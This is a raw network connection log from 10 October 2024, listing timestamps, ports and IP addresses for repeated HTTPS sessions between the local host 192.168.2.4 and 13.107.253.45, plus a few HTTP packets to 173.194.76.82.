Oct 10, 2024 10:13:36.555543900 CEST	64605	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.555579901 CEST	443	64605	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.556122065 CEST	64605	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.556127071 CEST	443	64605	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.637748003 CEST	443	64603	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.637917995 CEST	443	64603	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.637983084 CEST	64603	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.638295889 CEST	64603	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.638295889 CEST	64603	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.638315916 CEST	443	64603	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.638325930 CEST	443	64603	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.643491983 CEST	64608	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.643537045 CEST	443	64608	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.643616915 CEST	64608	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.644511938 CEST	64608	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.644527912 CEST	443	64608	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.645025015 CEST	443	64604	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.645175934 CEST	443	64604	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.645237923 CEST	64604	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.645257950 CEST	64604	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.645267963 CEST	443	64604	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.645293951 CEST	64604	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.645298958 CEST	443	64604	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.650051117 CEST	64609	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.650114059 CEST	443	64609	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.650178909 CEST	64609	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.650345087 CEST	64609	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.650361061 CEST	443	64609	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.667716026 CEST	443	64605	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.667860031 CEST	443	64605	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.667927980 CEST	64605	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.681691885 CEST	64605	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.681720018 CEST	443	64605	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.681731939 CEST	64605	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.681737900 CEST	443	64605	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.688507080 CEST	64610	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.688536882 CEST	443	64610	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.688601971 CEST	64610	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.695759058 CEST	64610	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.695776939 CEST	443	64610	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.742877007 CEST	443	64606	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.756056070 CEST	64606	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.756083012 CEST	443	64606	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.756711006 CEST	64606	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.756716967 CEST	443	64606	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.760469913 CEST	443	64607	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.761488914 CEST	64607	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.761529922 CEST	443	64607	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.762079000 CEST	64607	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.762087107 CEST	443	64607	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.859345913 CEST	443	64606	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.859436035 CEST	443	64606	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.859491110 CEST	64606	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.861056089 CEST	64606	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.861079931 CEST	443	64606	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.861090899 CEST	64606	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.861097097 CEST	443	64606	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.867969036 CEST	64611	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.868027925 CEST	443	64611	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.868108988 CEST	64611	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.868426085 CEST	64611	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.868443966 CEST	443	64611	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.869327068 CEST	443	64607	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.869498014 CEST	443	64607	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.869561911 CEST	64607	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.869585991 CEST	64607	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.869596004 CEST	443	64607	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.869616985 CEST	64607	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.869622946 CEST	443	64607	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.874214888 CEST	64612	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.874257088 CEST	443	64612	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:36.874335051 CEST	64612	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.874540091 CEST	64612	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:36.874552011 CEST	443	64612	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.204555035 CEST	64613	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:37.209610939 CEST	80	64613	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:37.209700108 CEST	64613	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:37.211473942 CEST	64613	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:37.216367006 CEST	80	64613	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:37.332344055 CEST	443	64609	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.333010912 CEST	64609	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.333043098 CEST	443	64609	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.333815098 CEST	64609	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.333822966 CEST	443	64609	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.344974041 CEST	443	64608	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.345668077 CEST	64608	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.345733881 CEST	443	64608	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.346201897 CEST	64608	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.346219063 CEST	443	64608	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.353853941 CEST	443	64610	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.355246067 CEST	64610	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.355267048 CEST	443	64610	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.356017113 CEST	64610	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.356021881 CEST	443	64610	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.441013098 CEST	443	64609	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.441165924 CEST	443	64609	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.441222906 CEST	64609	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.452491999 CEST	64609	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.452517986 CEST	443	64609	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.452533007 CEST	64609	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.452538013 CEST	443	64609	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.457212925 CEST	443	64608	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.457276106 CEST	443	64608	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.457343102 CEST	64608	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.458684921 CEST	64614	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.458720922 CEST	443	64614	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.458807945 CEST	64614	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.459319115 CEST	64608	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.459359884 CEST	443	64608	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.459419966 CEST	64608	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.459435940 CEST	443	64608	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.460668087 CEST	443	64610	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.460803032 CEST	443	64610	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.460854053 CEST	64610	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.463423014 CEST	64610	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.463438034 CEST	443	64610	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.463449001 CEST	64610	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.463453054 CEST	443	64610	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.468157053 CEST	64614	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.468215942 CEST	443	64614	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.485477924 CEST	64615	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.485531092 CEST	443	64615	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.485616922 CEST	64615	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.486128092 CEST	64616	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.486180067 CEST	443	64616	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.486246109 CEST	64616	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.486484051 CEST	64616	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.486500978 CEST	443	64616	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.486692905 CEST	64615	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.486712933 CEST	443	64615	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.533510923 CEST	443	64612	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.533633947 CEST	443	64611	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.534105062 CEST	64612	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.534130096 CEST	443	64612	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.534758091 CEST	64612	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.534763098 CEST	443	64612	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.535161018 CEST	64611	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.535211086 CEST	443	64611	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.535582066 CEST	64611	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.535595894 CEST	443	64611	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.642441034 CEST	443	64612	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.642601967 CEST	443	64612	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.642704964 CEST	64612	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.642810106 CEST	64612	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.642828941 CEST	443	64612	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.642843008 CEST	64612	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.642848969 CEST	443	64612	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.645381927 CEST	443	64611	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.645454884 CEST	443	64611	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.645558119 CEST	64611	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.647150993 CEST	64617	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.647205114 CEST	443	64617	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.647301912 CEST	64617	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.647530079 CEST	64611	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.647582054 CEST	443	64611	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.647615910 CEST	64611	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.647633076 CEST	443	64611	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.648727894 CEST	64617	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.648763895 CEST	443	64617	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.650649071 CEST	64618	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.650684118 CEST	443	64618	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.650759935 CEST	64618	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.650996923 CEST	64618	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:37.651012897 CEST	443	64618	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:37.914599895 CEST	80	64613	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:37.914629936 CEST	80	64613	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:37.914788008 CEST	64613	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:37.915219069 CEST	64613	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:37.915249109 CEST	64613	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:38.133685112 CEST	443	64614	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.134660959 CEST	64614	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.134740114 CEST	443	64614	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.135128975 CEST	64614	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.135143042 CEST	443	64614	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.142474890 CEST	443	64616	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.143258095 CEST	64616	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.143280983 CEST	443	64616	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.144010067 CEST	64616	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.144015074 CEST	443	64616	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.149621010 CEST	443	64615	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.150151968 CEST	64615	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.150183916 CEST	443	64615	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.150588989 CEST	64615	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.150597095 CEST	443	64615	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.244106054 CEST	443	64614	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.244237900 CEST	443	64614	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.244337082 CEST	64614	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.244690895 CEST	64614	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.244716883 CEST	443	64614	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.244728088 CEST	64614	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.244735003 CEST	443	64614	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.249366045 CEST	443	64616	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.249485970 CEST	443	64616	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.249546051 CEST	64616	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.252777100 CEST	64616	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.252799034 CEST	443	64616	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.255403042 CEST	64619	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.255451918 CEST	443	64619	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.255552053 CEST	64619	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.258234978 CEST	443	64615	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.258398056 CEST	443	64615	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.258466959 CEST	64615	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.265180111 CEST	64620	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.265218973 CEST	443	64620	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.265340090 CEST	64620	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.265908003 CEST	64619	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.265933037 CEST	443	64619	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.266590118 CEST	64615	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.266613960 CEST	443	64615	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.266627073 CEST	64615	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.266633034 CEST	443	64615	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.270898104 CEST	64621	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.270934105 CEST	443	64621	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.271213055 CEST	64621	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.271915913 CEST	64621	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.271938086 CEST	443	64621	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.272007942 CEST	64620	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.272026062 CEST	443	64620	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.304466963 CEST	443	64617	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.309395075 CEST	443	64618	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.319215059 CEST	64617	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.319252968 CEST	443	64617	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.319984913 CEST	64617	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.319994926 CEST	443	64617	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.327034950 CEST	64618	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.327048063 CEST	443	64618	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.327681065 CEST	64618	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.327687025 CEST	443	64618	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.421025038 CEST	443	64617	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.421196938 CEST	443	64617	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.421524048 CEST	64617	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.422240019 CEST	64617	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.422274113 CEST	443	64617	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.422291040 CEST	64617	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.422298908 CEST	443	64617	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.429558039 CEST	64622	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.429600000 CEST	443	64622	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.429702997 CEST	64622	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.430160999 CEST	64622	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.430186033 CEST	443	64622	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.431111097 CEST	443	64618	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.431266069 CEST	443	64618	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.431322098 CEST	64618	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.431771040 CEST	64618	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.431781054 CEST	443	64618	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.492080927 CEST	64623	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.492135048 CEST	443	64623	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.492460966 CEST	64623	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.492849112 CEST	64623	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.492862940 CEST	443	64623	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.923273087 CEST	443	64621	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.924963951 CEST	64621	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.924984932 CEST	443	64621	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.925544024 CEST	64621	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.925550938 CEST	443	64621	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.941999912 CEST	443	64620	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.942857981 CEST	64620	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.942878008 CEST	443	64620	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.943408012 CEST	64620	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.943413973 CEST	443	64620	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.945882082 CEST	443	64619	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.946351051 CEST	64619	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.946386099 CEST	443	64619	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:38.946782112 CEST	64619	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:38.946788073 CEST	443	64619	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.033557892 CEST	443	64621	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.033632040 CEST	443	64621	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.033704996 CEST	64621	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.033912897 CEST	64621	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.033912897 CEST	64621	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.033940077 CEST	443	64621	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.033955097 CEST	443	64621	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.036727905 CEST	64624	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.036794901 CEST	443	64624	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.036943913 CEST	64624	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.037096977 CEST	64624	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.037111044 CEST	443	64624	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.050685883 CEST	443	64620	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.050831079 CEST	443	64620	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.051079988 CEST	64620	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.051110983 CEST	64620	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.051110983 CEST	64620	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.051146984 CEST	443	64620	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.051150084 CEST	443	64620	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.053754091 CEST	64625	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.053792953 CEST	443	64625	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.054028988 CEST	64625	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.054184914 CEST	64625	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.054195881 CEST	443	64625	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.060940027 CEST	443	64619	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.061009884 CEST	443	64619	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.061146975 CEST	64619	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.061249018 CEST	64619	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.061275005 CEST	443	64619	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.061284065 CEST	64619	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.061289072 CEST	443	64619	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.063906908 CEST	64626	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.063916922 CEST	443	64626	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.064042091 CEST	64626	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.064198017 CEST	64626	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.064205885 CEST	443	64626	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.114933014 CEST	443	64622	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.115536928 CEST	64622	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.115552902 CEST	443	64622	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.116080046 CEST	64622	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.116086006 CEST	443	64622	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.122456074 CEST	443	64623	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.123243093 CEST	64623	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.123280048 CEST	443	64623	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.123806000 CEST	64623	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.123822927 CEST	443	64623	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.227241993 CEST	443	64622	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.227320910 CEST	443	64622	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.227392912 CEST	64622	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.227680922 CEST	64622	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.227705002 CEST	443	64622	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.227727890 CEST	64622	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.227735043 CEST	443	64622	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.231029034 CEST	64627	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.231085062 CEST	443	64627	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.231281042 CEST	64627	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.231446028 CEST	64627	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.231462955 CEST	443	64627	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.237128019 CEST	443	64623	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.237344980 CEST	443	64623	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.237423897 CEST	64623	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.237462044 CEST	64623	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.237478971 CEST	443	64623	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.242491961 CEST	64628	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.242522001 CEST	443	64628	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:39.242707968 CEST	64628	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.242768049 CEST	64628	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:39.242783070 CEST	443	64628	13.107.253.45	192.168.2.4
